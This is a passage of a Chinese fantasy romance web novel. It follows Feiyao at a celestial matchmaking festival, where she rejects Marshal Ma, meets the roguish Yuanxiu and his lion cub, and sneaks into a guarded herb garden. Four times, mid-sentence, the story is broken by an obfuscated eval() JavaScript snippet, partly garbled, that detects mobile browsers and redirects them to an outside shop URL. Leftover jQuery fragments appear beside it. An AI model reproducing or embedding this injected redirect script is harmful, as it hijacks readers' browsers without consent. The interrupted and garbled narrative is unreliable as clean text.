芙瑶被她的样子逗笑,笑完却正色说道:“三圣皇那种正统老人家,教出来的孩子自然板正了些,但却是靠得住的,我倒是觉得论才华、样貌、仙品、家世、修为,眼下没有比他更合适你的了。”
“你认真的?”碧云有点意外,苍容这种角色,她以往是想都不敢想的。
“怎么不认真?既然要选,自然是挑好的,三圣皇出品再加太阴星君严选,用你的说法,这位小仙君塌房的概率几乎没有,还不放心?”
碧云有些心虚:“那人家凭什么看得上我呢?”她自觉论才华、家世、修为都谈不上,样貌倒是挺好,但看跟谁比,眼前这朵白莲花她就自愧不如,唯有仙品是不错的,但这一点,人家小仙君也不了解呀!
往日里芙瑶觉得碧云挺敢想敢干,怎么此时倒畏首畏尾了?她循序善诱:“方才我觉得你们聊得甚好,他若是能教,便是个机会,若教不成,再想别的办法就是,又没什么损失。多思无益,好过错过后悔!”
碧云问她:“那你呢?你喜欢什么样的?”
芙瑶想了想,想不出来,便说:“缘分不到吧,我也不知道,但肯定不会跟你抢。”
碧云笑了,大力抱住她说:“你对我可真好!你怎么对我这么好呢?”
芙瑶被她搂得有点喘不上气,自嘲道:“姻缘大使嘛,劝人结缘从身边做起。”
接下来的一段时间,苍容果然开始授课,每天一个时辰,教得极其用心,只是他发现两个学生的状态截然不同。碧云学得认真,完成也都很好,芙瑶这个学生就一言难尽。
芙瑶最初两次是会走思或犯困,中途还会借故离开,后面干脆就托辞逃课。他开始不理解,授课是她提出来的,怎么真得要学了,反倒三天打鱼两天晒网起来?问起缘由她还委屈巴巴。后来他想,她不学就不学吧,他教好碧云就好了,以芙瑶这身风流气韵,也不太需要一首曲子傍身。
芙瑶觉得,碧云这段时间的心情都不错,不管是因为有心上人陪伴,还是因为艺术熏陶,总之是因为她牵的红线,她挺有成就感,她和苍容这俩代言人,也算躬身践行大使职责了,不过是一个献计,一个献身。
七夕会转眼便至,这九重天上已是热闹非凡,到处仙乐飘飘,瑞气腾腾。芙瑶和苍容这对姻缘大使的小像,此前已发往四海八荒,眼下几乎人手一份,录得那个小片也在瑶池内循环播放着。这场盛会,但凡有些头面的单身仙君们都恨不得来打个卡,从四大天门到瑶池这一路上,各山各府的仙僚们络绎不绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727694|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
芙瑶今日的任务不重,只需活动开始后,同苍容一起说几句劝人结缘的词就好,后面自有姻缘殿的人带着游戏。所以她远远站了,饶有兴趣地研究起来宾们的坐骑。
既是来相亲的,又先遮了脸,那坐骑就是个人风采展示中很重要的一面了,多少能看出主人的性情、家世、修为、喜好等。譬如驾白鹤来的,主人多半温文尔雅,骑簪花坠珠小瑞鹿来的,主人必是个美娇娘,□□一只望天吼,无根无势的泛泛之辈既得不到它,也降不住它。
此番她所见到的坐骑,按种类大致可分为飞禽、水禽、陆禽、自研车马这几种,那种乘云乘风来的也有,但并不多。灵兽们都有先天脾性,温柔系的比如鹤、鹿、鱼、鸟、狗、牛等,它们的主人,看着举止也都温和有度,凶猛系的如狮、虎、豹、鹰、犼等,它们的主人就相对豪迈粗犷些,此外按照珍惜度,带着麒麟、貔貅、狻猊等异兽出来的,要么是仙谱上那几位钻石王老五,要么定是骑了家里长辈的坐骑来装门面的。
看得多了,她便也想养上一只,至于养什么倒是一时没想好。犹豫间,只觉得有什么东西在拽她裙子,低头一看,竟是一只尚不足膝盖高的小白狮子,毛发蓬松雪亮,圆头圆脑,正咬着她衣裙垂下去的一根穗子使劲晃,似乎是想叼走据为己有。
她看得有趣,不知道这么软萌的小狮子是谁家的,它还这么小,也不能是坐骑吧,多半是谁带来的灵宠。她索性解下那根穗子,拽着另一头蹲下身问它:“你想要吗?可不白给,能抱吗?”
小狮子不晃了,歪着小脑袋看她,大眼睛圆溜溜的,像在思考,许是觉得这交易并不划算,又开始用强,死咬住另一头不放,拼命想要夺走。
“好吧,给你了给你了!”芙瑶松了手,想看看它叼着这东西去哪儿,刚跟了两三步,就听月老在身后喊她:“芙瑶姑娘不要跑,马上开始啦,快跟我来!”
她只能悻悻地跟着月老走,边走边问:“这么快就开始了?苍容到了吗?”
“已经在等你了!”月老笑呵呵,“满场都在夸你哪,芙瑶姑娘你如今可是四海八荒第一美人啦!”
老头惯会说话,这第一有多大水分还不知道呢!但芙瑶也不在意,顺嘴问道:“老仙长可瞧见刚才我旁边的小狮子了,可认得是那府的灵兽?”
若是能借来养几天就最好不过了。
月老说:“粗粗扫了一眼,好像是北俱芦洲才有的异兽!”言必他突然驻足,脸色微变,像是想到什么不好的事,对芙瑶说:“芙瑶姑娘你先过去,我得去报个信儿!”
芙瑶好奇:“报什么信儿?”
月老左右看看,小声说:“北俱芦洲的异兽出现在这里,八成是那位小爷不请自来!我得给娘娘打个招呼去!”
“那位小爷?谁呀?诶,老仙长!月老!”
月老已经一溜烟跑没影儿了。
芙瑶边走边琢磨,让姻缘殿如此忌惮的“小爷”,带着北俱芦洲的异兽,会是……元修?!
8. 发好人牌
芙瑶到场时,前面的王母及十一部代表均已简短站台致辞,她和苍容其实是来开启整场联欢的,原本只要说几句便好,可天喜星君这个主持被热烈气氛熏得上头,临场发挥又加了个环节,鼓动两位姻缘大使现场来段互动,想给气氛再加把火!
芙瑶看了眼身旁的苍容,小仙君面上罕见地染了一层红晕,她再瞄一眼台下的碧云,她带着面具,看不见表情,但那露出来的双眼却雾蒙蒙的。
芙瑶曾听闻,这个天喜星君曾为下界一代淫主,向来玩得花,她琢磨着倘若由着他安排,她和苍容不晓得要演什么,索性主动提议:“接下来是各位仙君仙子们的才艺展示环节,那不如由我和苍容仙君抛砖引玉,仙君抚琴,我来舞一曲,如何?”
台下群情期待,苍容听这提议也算应景儿,遂大手一挥,那尾伏羲琴已现身一旁,台下立时喧嚣起来,纷纷惊呼不枉此行,还能听到传说中的伏羲琴音!
随着苍容指尖滑动,琴音仿若起自听者灵台,婉如清风拂面、仙泉洗尘,又如九天落玉、万壑松鸣。芙瑶随着琴音起舞,衣袂飘飘,缓若细羽轻扬,疾如惊龙御风,一颦一笑又极勾人,看得台下一时寂静无声,一时又掌声雷动。临近尾声,芙瑶干脆跃向台下,拉了几位小仙子一块起舞,氛围一时又热几分。待到琴音终了,台上热闹非凡,苍容想找芙瑶,哪里还有她的影子。
芙瑶找了个最偏僻的角落,正吃吃喝喝。她对相亲没什么兴趣,但这里的仙果佳酿是她从未尝过的。一只果子刚塞到嘴里,便听身旁一个声音道:“这圣木果是我昆仑所供,是智慧神树圣木曼兑的果子,食之有开明增智之效,芙瑶姑娘可还喜欢?”
她抬头,是个锦衣华服、戴着白虎面具的男仙,眼里含笑望着她。
她把嘴里的圣木果咬得咯吱咯吱响,说道:“昆仑啊……那你不是王母的娘家人?”
这……是个什么脑回路?白虎男仙干干笑道:“不敢不敢,说同乡已是攀附了。祖上是开明天兽,我叫月渊,是这一代族长的幺子。”
芙瑶点点头,隐约记得开明兽是人首虎身,是昆仑的镇山神兽之一,有九个头,盯着昆仑虚的九道山门。不过那都是多久之前的事了?眼前这个,气场太弱,也不像火眼金睛、能威慑百兽的样子,落魄贵族,可见远古神祇凋零成了什么样子。
她伸手抠了下塞牙的果肉,说道:“好吃归好吃,最好再配个牙杖。”
亏得戴了面具,才不至于让对面的男仙过于失态。他拱了拱手道:“这个建议甚好,我这便去安排,先失陪了。”
望着他走掉,芙瑶自语道:“祖上的修为是没了,仪德方面倒是不错。”
她倒了杯茶漱漱口,刚要吐掉,瞥见一道霞光盈盈的身影已至近前,一狠心咕咚咽了下去,咽得太猛,噎的猛咳几声,眼泪都出来了。一只大手托了方叠得规规整整的丝帕过来,她也顾不得太多,接过来擦了擦,刚要说声谢谢,便见来者拱了拱手走了,仿佛只是路过,顺便做点好事,深藏功与名。
芙瑶想这地方不能待了,再待下去,保不齐要有诸如“大使她空有美貌不修仪德”之类的话传出来,她倒是无所谓,但怕太阴星君受不了。
抬头看了眼前面,天喜星君引着参加活动的男仙女仙们一边玩游戏,一边展示才艺,四座都是些各府各山的主事和长辈们,来为后辈撑场子把关的。被她“抛弃”的搭档苍容没能走开,此刻已被一众女仙包住。她原想着碧云能帮他挡挡,可碧云早被挤出圈外了。
苍容这位小仙君,太过爱惜羽毛,又或是爱惜三圣皇名头,做不出不要脸的事来。
看得出他和碧云都苦恼得紧,芙瑶想去帮一把,才走两步,便见碧云身形晃了晃,突然就倒了下去。“有小仙子晕了!”不知是谁喊了一声,周围顿时一阵慌乱。
芙瑶笑了笑,觉得关键时候碧云还挺聪明。
苍容的反应也很迅速,三两步冲过去,抱起碧云,对着匆匆赶来的和合二仙道:“劳烦照应下这里,我先送她去天医院。”
芙瑶刚要走,不料又被拦住。这次倒不是戴面具的仙君,竟是四驿的马元帅。他负责本次盛会的车马调度,迎来送往,出现在这里也不稀奇。此刻芙瑶见他两颊红红,连眉间那只眼睛都水汪汪地望着她,便觉得这位三只眼的马王爷,可能喝得有点多了。
马灵耀的确是喝了些酒,但更多是紧张。虽然提亲被拒,但刚刚看芙瑶在台上跳舞,他心里又蠢蠢欲动,只是转眼她便不见了。他转来转去,终于又碰上了,见她身旁无人,便大着胆子走过来,说道:“芙瑶姑娘,有几句话,可否借一步讲?”
芙瑶施礼:“元帅何事?”
马灵耀做了个请移步的动作,芙瑶稍作犹豫,觉得就此出去也好。她随着马灵耀来到瑶池外一处开阔的围墙下,避开里面的喧嚣。此处并不隐蔽,可见马灵耀到底是个坦荡将军。他身材魁梧,又穿一身将袍,十分高大威猛,往她面前一站,她就完全落进了他投下的影子里。
马灵耀说:“我有婚约在身,还托太阴娘娘提亲,属实冒昧,还望姑娘勿怪。”
芙瑶笑着摇摇头,表示不介意。
她这一笑,似乎让马灵耀多了些底气,他又说:“但我倾心姑娘是真心实意!我那婚约一言难尽,若姑娘在意,也是可以取消的。今日相邀,便是想当面讨一个说法,我并非拿的起放不下之人,姑娘若无意,从此我便再不提这事。”
他表情真诚而又严肃,看起来是对她真的上心上头了。
他那婚约是什么样的一言难尽,其实芙瑶并不在意,也不想知道。她斟酌着如何才能拒绝又不失尊重,先前那些小把戏对眼前这位沉稳持重的将军可不适用。
此刻他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727695|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目光灼灼望着她,她眼里便漫出了一层潮润的雾气,看着潸然欲泣,像是感动,又像委屈,还像伤心。
“蒙将军错爱,芙瑶既感且愧!将军威武,自是良配,只是我已心有所属,感情深厚,做不到移情别恋,将军当能体谅我这份执念。”
从见她眼底含泪,马灵耀就有点不知所措,有些心疼又有些慌乱,急急安抚道:“你、你别哭,这让人瞧见以为我对你做了什么!”
芙瑶垂头低语:“对不起。”说着扯了袖中帕子沾了沾眼角。
马灵耀消化完她的话,知晓这是领到了好人牌,虽失落却到底是言而有信的:“我明白了,以后绝不拿此事扰姑娘清静。但……”他犹豫了一下,还是忍不住问道:“只是有些好奇,姑娘倾心的是?”
这一时不大好编了,太普通的不可信,太优秀的也不可能寂寂无名,安谁头上都不合适。她没料到马灵耀也这么八卦,垂眸道:“也是一言难尽。”
马灵耀想着自己那无法言说的婚约内情,又看她委屈伤心,遂问:“可是他有负于你?或是受人阻挠?”
“这……”这真是演的越像,越需要细节,细节越多,越难圆。
见她不语,马灵耀一股义愤之气在胸中激荡:“你不要怕,若有难处,我当全力为你做主!”他那委屈除了那位无人可解,他忍了这么些年,见不得她这般娇弱姑娘也受委屈。
芙瑶在想怎么快速结束这个话题时,便听一道年轻的声音响起,慵懒中带了几分玩味:“怎么四驿的业务除了传送书信,还管调解感情了?”
寻声望去,几步之外现身了一位青衣仙君,衣服倒是极素,却带了具忿明王的面具,艳红艳黄还带几个白色骷髅,甚是扎眼,但露出来的那双眼睛倒是极好看。芙瑶一眼便盯住了他怀里的小兽,雪白柔滑的毛发,乌溜溜的大眼睛,嘴里还耍玩着她那根穗子。
她眼睛亮了亮。这神色变化落入马灵耀眼中,他微微怔了怔。
青衣仙君走近两步,从小兽嘴里哄过穗子,竟微微俯身,替她系在了右侧腰间,刚好与左侧的凑成一对。那小兽呜呜地蹭她的腿,像是撒娇,又似不甘。
看呆了马灵耀。
芙瑶也呆了,看着那双骨节分明的大手在她腰间熟练地打结,缓了下才觉得,他还真是大胆!
大胆的仙君直起身,面对马灵耀缓缓摘下了面具,好英气的一张脸!他一双美目似笑却含威,马灵耀有一瞬地愣神,随即拱手行礼,什么也没说,恭敬地往后退了几步,转身离开。
马灵耀至此才反应过来,难怪她不吭声,若真是喜欢上这位爷,是挺一言难尽。
芙瑶已猜到他是谁,此前各方对他的评价都是不靠谱,如今看来,确实不靠谱。
她也学着马灵耀的样子,施了一礼,退了几步,刚一转身,便听他说:“就这么走?”
9. 再闯药园
元修踱至她身侧,提醒道:“不谢谢我替你解围?”
他眼里藏了戏谑,眉眼倒是真好看。芙瑶想起太阴星君和金星选男仙的事,苍容胜在俊雅,温润如玉,见之则觉可亲。眼前这位至阳至刚,但英气太过就不免有清贵疏离之感,好比他含威望向马灵耀,就颇具威慑。但偏偏他还有不着调的一面,此刻这张脸就很无赖。
她轻叹:“围是解了,怕是已被误会,我心上那位是你。”
元修一笑:“是我又如何,你觉得委屈?”
她摇头:“委屈谈不上,只是比较麻烦,若哪日见了我的心上人,不好解释。”
他笑出声:“说得跟真有一样!”
她那套说辞,马元帅都信了,怎么偏他不信?
她疑惑间,便见他绕到跟前,一步一步欺近。他身高比马灵耀还要高一些,完全是俯视,芙瑶本已离开墙下,此刻被他逼得又退了回去。背后是墙,他突然朝她低头,她头一偏,听到他在耳边嘲笑:“耳根红透、浑身紧绷、手足无措……明明毫无经验,你跟你那心上人,感情深厚在哪儿?”
俯身给她系衣带时他就知道,她这谎再撒下去,就圆不上了。
芙瑶往他胸口用力推了一把,要不是决定当一朵娇弱白莲花,真想打一架!
元修抚着胸口后退了一步,脸上没有愠意,语气倒挺无辜:“这就恼了?”
说话间,那小兽又扑上来蹭她的腿,蹭了两下还用乌溜溜的大眼睛望她,最后干脆卧在她脚边,整个身体靠在她的腿上。他俩一个用强,一个撒娇,芙瑶看着脚下的小东西,心里又软了软,果然不能有软肋,她强忍着才没蹲下去摸几下。
元修叹口气,冲地上的小兽说:“五六,你上赶着舔人家,人家都不领情,理都不想理呢!”
他这是拿小东西自嘲,来挤兑她吧?
芙瑶蹲下身去,在小兽头上摸了摸,触手光滑柔软,手感不错。小家伙满足地闭上了眼,还享受地轻哼唧了几声。
她抬头问元修:“它叫五六?”
“嗯。”
“这名字有什么讲究?”
元修漫不经心道:“没什么讲究,正好排到这儿。”
“什么意思?”
“鱼鲮岛的灵宠是排号的,我听毕方说,早年妖皇帝俊受伤,以三足乌形态在鱼鲮岛住过,他当时叫三八。你摸的这只,正好是五六。”
芙瑶:“……”
五六睁开眼瞥了一眼元修,瞧着充满了嫌弃,继而又拿头拱了拱芙瑶,满是讨好。芙瑶一乐,挑衅似的看了眼元修:“它好像挺喜欢我。”
元修慢悠悠道:“两千岁的雄狮嘛……”
芙瑶撸毛的手僵住。
又听他说:“于它的寿命,相当于五六岁顽童。被个孩子喜欢,有什么可骄傲的?”
就这么一会儿,耍她两次了!
难怪各府各院对他都避之唯恐不及,太欠了。看看人家苍容的口碑,再看看他,凭实力招嫌!
不能打,还不能躲么?芙瑶站起身,拍了拍衣裙,福身道:“我还有事,告辞。”
元修看她明显是生气了,还能不动声色地施礼,这小仙子的气度可比苍容稳。苍容那家伙,逗一逗就要火冒三丈了。他抱起五六跟上去,继续讨嫌:“你还有什么事?”
芙瑶脚下没停,轻飘飘吐出俩字:“出恭。”
元修僵住,她那么好看的一张脸,能当着他面,面不改色吐出这俩字,怎么都觉有点玄幻。但想起她在瑶池那些无状之举,以及面对马元帅时瞎话张口就来,他又觉得她说这个也不算什么。就算是神仙,仙果佳酿穿肠而过,谁还能不出恭呢?女仙们立人设都过于完美,她这样的才叫真性情!他自己不也一贯如此么?
至于是不是真出恭,结合她前述所为,他觉得不过是尿遁罢了,这招他也是常用的。就这么一顿足,再看芙瑶,已经拐了弯儿,没了影儿。
芙瑶不大认路,只是本能地往熟悉的方向走,不知不觉又到了天禧园。
上次来还是晚上,是被苍容的琴音引来的,后面约着学琴也并不在这园里,所以那晚匆匆进出,也就这么一回。但这园子不普通,那晚她和碧云若不是苍容送出来,还不知道要绕多久。伏羲皇所创奇门遁甲,玄而又玄,困千军万马不在话下,困个把游神更是轻而易举。
这园子并无守卫,只偶尔有兵甲绕园巡逻。大约今日盛会,巡视更频繁了些,她一路上已撞上多拨队伍。但如今她也算个名人,因此也并未向第一次被王灵官撞上那样被问询。
她又想那晚的琴音。初听的那首曲子空灵,悠远,闻之灵台清明平静,而她们进入园中被困时,再响起的那首曲子却勾魂摄魄,明显是有攻击性的,碧云昏昏然如丢魂丧魄便是证明。若只是给误闯药园的人引个路,何须弹奏如此杀神于无形的曲子?
除非他在防范什么?
防什么呢?这园子里都是药植。苍容不让她们靠近,理由是园中药植凶险,还能凶得过伏羲琴音?
她边走边想,已绕了园子小半圈。忽见前方转角绕出了一道绿色身影,乍看以为是碧云,再看并不是。她背对她形色匆匆,拐弯处还左右张望,显得十分谨慎。芙瑶本能地缩回身子,隐在了旁边一棵半截身子探出墙外的天榕树干后面。
芙瑶从树干后悄悄探头,那道绿色身影不见了。她吁了口气,好像做贼的是她自己。她只是觉得,对方不希望别人看见,那便装作没看到好了。
可天禧园的疑团又冒了出来。眼下苍容大约还和碧云在一起,这园子里是无人看守吗?这绿衣仙子鬼鬼祟祟来此做什么呢?这条路除了方才的拐弯便是一条直道,她绝走不了那么快,可她消失了,想是进了园子,那为何不走正门?园内既有迷障且有凶植,她不怕?
芙瑶沿着园墙慢慢走,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727696|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仔细看,在看到绿衣仙子的地方,估算着自己躲起来的时间内,她大约能行进的距离,她觉得可能会有道暗门,但毫无发现。不甘心地她又走一遍,这次终于发现了异常,墙砖有了变化。
这些墙砖,虽然看上去大体都差不多,但还是有迹可循的。譬如她手下这块一尺见方的墙砖,片刻之前,园内有株古树叶子投下的影子边缘,刚好与它右侧的边缘重合,而她不过前后走了几步的功夫,这影子边缘已经离开墙砖边缘有段距离。无风,影动几可忽略,那就只有一个可能,墙砖在动!
她盯了它一会儿,却无变化,待前后走动几步再看,又变了!
想来那日她和碧云误闯园子,却无法原路返回也是这个道理。你不动它不动,你动它便动,至于它怎么动,她还没有琢磨明白。
这时,又一队巡逻兵甲路过,她慢慢往前走,待他们走过,她又退了回来。那影子几乎要到了那块砖另一侧侧边缘。这便是伏羲皇的奇门遁甲之术吗,好像有点意思。
她又选了几个标记来回试了几次,终于有了些眉目。在某一个时刻,会有几块墙砖的边缝上下左右相互连接,勾勒出一扇门的形状,她瞅准时机推了一把,果然一扇门被打开了!
她在这里已晃悠了一段时间,提心吊胆的,眼下门一开,心神一松,还有些勘破机关的小兴奋,竟无暇多想,鬼使神差地就迈了进去。她琢磨着那绿衣仙子应该是用另一种方式开的门,似她这般磨蹭许久可不高明。
眼前有条狭窄石径,两侧不知名的植株长得茂盛。因着那晚迷路的教训以及苍容的提醒,她十分谨慎,每一步都留神找标记,并防范着周遭可能的危险。但多少也有些后悔,是否进来得有些莽撞了。
她脚步尽量放轻,沿着石径走了一段路,迎面被一座高大的假山,将原本一条路分成了左右两条。她愣住了,该往哪边走呢?
她左看右看,又蹲下观察,试图从光洁的石径上,找到些前者走过的痕迹。
功夫不负有心人,那左侧石径一旁隐隐有半个脚印,像是一不留神踩空,滑出石板踩到泥土上的,尽管只有半个,但瞧着形状,倒不像是方才的绿衣仙子所有,看轮廓像个男的?
那是走还是不走?
正犹豫间,那假山后面有微小的声音传了过来,是个女声,娇娇柔柔似怨似嗔:“似这般若被王母知道,我数罪加身,莫说证道,是真的活不成了!”
芙瑶心下一凛,对面有动静,她这样子顷刻便会被发现,且她好像听到了什么不该听的东西!
她转身想走,一回头,身后竟出现了岔路。迟疑间,假山后面的声音又传了过来,还是那道女声,这回透着不舍:“那我便先走了。”
这话一出,芙瑶抬脚便撤,管它哪条路,先躲了再说。而就在此刻,她身后响起了另一道声音:“是谁在这里?”
这声音是苍容,正主回来了,前后夹击!
10. 要点脸吧
苍容的声音一出,周围瞬间安静了,倒也没见山后面那姑娘出来,想来也许还有别的路。而芙瑶此时无处可躲,不管绕山两条路是不是通的,先走了再说,左侧有声音,那便往右走。因为步子迈得太急,迎头就撞进了谁的怀里!
这怀抱的气息有点熟,似有似无的兰香钻进鼻息,芙瑶抬头,果然是元修!怎么哪儿都能撞上他?
偏这时,苍容在岔路口现身了,芙瑶从元修怀里仓皇起身这一幕,刚好撞进他眼里。他皱了眉,阴着脸朝他们走了过来。
元修用几不可闻地声音在她耳边示意:别说话。
苍容看着对面的无赖,只觉得头疼。他本以为输回给元修,他心里一痛快就不纠缠他了,这种狗皮膏药,他实在是不想沾。但眼下元修又出现在了他的园子里,还带着芙瑶。芙瑶这姑娘乖巧,他说别乱闯,他相信她自己是不会来的。
苍容觉得脑瓜子嗡嗡的,冷声质问道:“你在这里干什么?”
他用的是“你”而不是“你们”,眼睛一眨不眨瞪着的是元修,芙瑶心里放松了些许。
元修不以为意:“天禧园是什么禁地么,为何不能来?”
这里虽不是禁地,但一个药植园又不是观赏园,平日里几乎没人来,园内凶植机关甚多,谁没事来此寻晦气呢?但元修来了,说没有目的,苍容也不信。
苍容讥讽道:“闲的么,来这种地方,还带个姑娘?”
元修一伸手,将芙瑶揽进了怀里,笑道:“你说呢?可不就是闲的。”他这意思再明显不过,此地凶是凶了点,但僻静无人,这点凶险于他也不算什么,带着姑娘自然不用多说。
芙瑶觉得自己被利用了!
元修是从假山后面出来的,那后面分明还有个姑娘。他俩干什么她管不着,但拿她当挡箭牌掩护那个姑娘就过分了!论交情和人品,她宁肯信任苍容,大不了就茶言茶语地认个错、求个情嘛,苍容还能吃了她?
芙瑶使劲挣了几下,奈何元修力气极大,按在她腰上的手箍她挣脱不得!她情急之下喊道:“苍容仙君,你误……”后面的话还没出口,便被元修突如其来的一个吻堵了回去!
苍容一怔,觉得这个元修真是混赖到没边了,人前又亲又抱,仙风丢尽!以往只道他是好玩,于美色上倒没传过绯闻,眼下看来,怕是之前没遇到过入眼的姑娘。
苍容学的是非礼勿视这一套教材,眼见这一幕,他先是低头,后干脆转身,一抬手划出一道门来,呵道:“走!”
元修嘴角勾起一抹笑,带着芙瑶踏门而出。离开了天禧园,芙瑶才甩开他的手,没好气地说:“那么高的辈分,能不能要点脸?!”
“怎么不要脸了?”像是突然反应过来,元修“哦”了一声说:“是因为亲你么?告诉你别说话,乱喊什么?”
还是她的不对了?芙瑶气笑,都说他无赖,可算是见识了!她一字字说道:“仓皇出现,举止轻浮,别又说是为我解围,我可不信!”
被苍容抓包,元修现身拿她顶包,和他同在山后的姑娘从头至尾没露面,被藏得好好的。她没直接点破他这不齿行径,已经是留了面子了。
岂料始作俑者并无愧色,反而笑道:“自然是为你解围!”
“你还怪好心嘞!”芙瑶忿忿的:“你何时在山后面的?在后面做什么?那后面只有你自己么?你拉我演这场戏,当真不是为了掩护谁么?”
她问了一连串问题,元修只避重就轻:“掩护你呀!若不是我,你此刻大概正扒着苍容胡编一通,我替你省去了不少麻烦。”
“是省还是添可说不准,你弄这些绯闻,解释起来更麻烦。”等不到明天,姻缘大使芙瑶和鱼鲮岛混世魔王元修纠缠不清的八卦就会满天飞了。
元修说:“怎么你还想解释?我都是想做实什么,才会去解释。”
话题好像有点跑偏了。
芙瑶平复一下心情,又转回来:“那你在那儿做什么?”
元修反问:“你去哪儿又做什么?”
这样聊下去便没意思了。这家伙油盐不进,说话办事都不按常理出牌,芙瑶嘴上沾不到便宜,身上还吃了亏,闷头不语,眼里渐渐就雾气氤氲。
元修瞧她方才还像个炸毛又隐忍的小兽,此刻半晌儿不吭声,走近了弯腰一看,她眼尾泛红,长长的睫毛颤巍巍地眨动,压着眼底的雾气,潸然欲泣。
他眉头皱了皱。有一瞬间反思自己是不是真的过分,但想起她也曾对着马灵耀抹眼泪,结果一往情深都是编的,眼下这眼泪是咸是淡就不好说。他又望了她一眼,好似要分辨一下她是不是真的被气哭了,却见她突然抬起头来,一颗眼泪就这么滚了下来。
她小脸泛红,委屈巴巴地抿了抿嘴,看在元修眼里,莫名想起方才亲上去那柔软香甜的触感,他喉结不自觉滚了一下,说道:“问不出来就哭,不告诉你是为你好,多闻招祸,少事为福,这个道理你不懂?”
听这话多半还是有隐情,只是不想让她知晓,寻了个为她好的由头。
芙瑶声音软糯委屈:“又不是为这个。”
“那哭什么?”元修瞧她脸上红晕更甚,望着他的双眸水光潋滟,欲言又止,了悟道:“当时是形势所迫……你想要补偿么?”
芙瑶摇了摇头。
元修提醒:“机会就这一次,过这村可没这店了。”
芙瑶想了想说:“那,五六能不能给我养几天?”五六在,便不算聊崩,硬的不行来软的,总还有搬回来的机会。况且,她是真心喜欢这只小兽。
元修愣了,还以为她会要他负责什么的,毕竟他曾亲见孔雀大明王负责了一次又一次。
骚包鸟孔宣早在他不通情事时便告诫他,不喜欢的姑娘能离多远离多远,粘上了,甩不掉心塞,甩掉了薄情,怎么都亏。所以他大了之后谨记,虽然无赖的帽子戴了一顶又一顶,但在男女情事上从未失足。
眼下他对芙瑶又亲有抱,姑娘们都心重,还以为就要被赖上了。思及此他又自省,倘若她真这么提,他能答应吗?他提醒她机会就一次,潜意识里还是有所期待吧?
可她只要五六。
要畜生都不要他。
多少有点心塞。
他说:“五六不好养,脾气臭,嘴还刁,作息也不规律,不一定适合你。”
“可我觉得,它跟我还挺投缘的。”芙瑶弱弱地坚持。
要五六也不是什么过分的事,元修觉得,等她养几天觉得麻烦了,或者李长庚觉得麻烦了,应该就还回来了。便说:“五六在老君府上跟青牛玩呢,晚些时候我送去启明殿。”
此言一出,芙瑶更觉得他去天禧园不是闲的。臭脾气的五六由老君那头青牛看着,他才好去干点什么。
既补偿了,她便不好一直苦着脸,难得对着元修笑了一下。本就是万年难遇的神颜,这一笑,竟让元修觉得,仿若看到了幽园微雪初霁后,在阳光下闪着光亮的冰兰,他方才略显纷乱的心神竟也平静了。
瑶池那头一直奏乐一直舞,渲染了半个九重天。经过前面的事,连苍容都躲进了天禧园,芙瑶就更不敢再露面了,她也不想再节外生枝逛什么地方,老老实实回了启明殿。
殿里太白金星的心情似乎不错,正哼着小曲儿给他那只仙鹤洗澡梳毛。七夕会这事算是太阴星君沾了他的大便宜,李长庚自然也不白送人情。
这活动办得风光,于太阴星君面上是完成OKR的业绩,实则是她这位王母嫡系,在帮着主子拉拢人脉。王母高兴了,一切都好说。后半场李长庚拉着太阴星君一商量,太阴娘娘也并非不讲武德,趁着老板高兴,提议说如今芙瑶大使再住启明殿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727697|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于大使和金星都不方便,不如迁出来住。王母觉得有理,让她和金星斟酌着办。
太阴星君本想在姻缘殿旁新起一座大使阁,李长庚自然是不同意。这大使阁的名头是否合理先不论,一来建设经费没个明确说法,走启明殿的账不合理,走别的名目说不准又给谁做了嫁衣;二来那位置也不行,最好还是离启明殿近点。最后他干脆开门见山,要她的飞花殿,只说是借住。
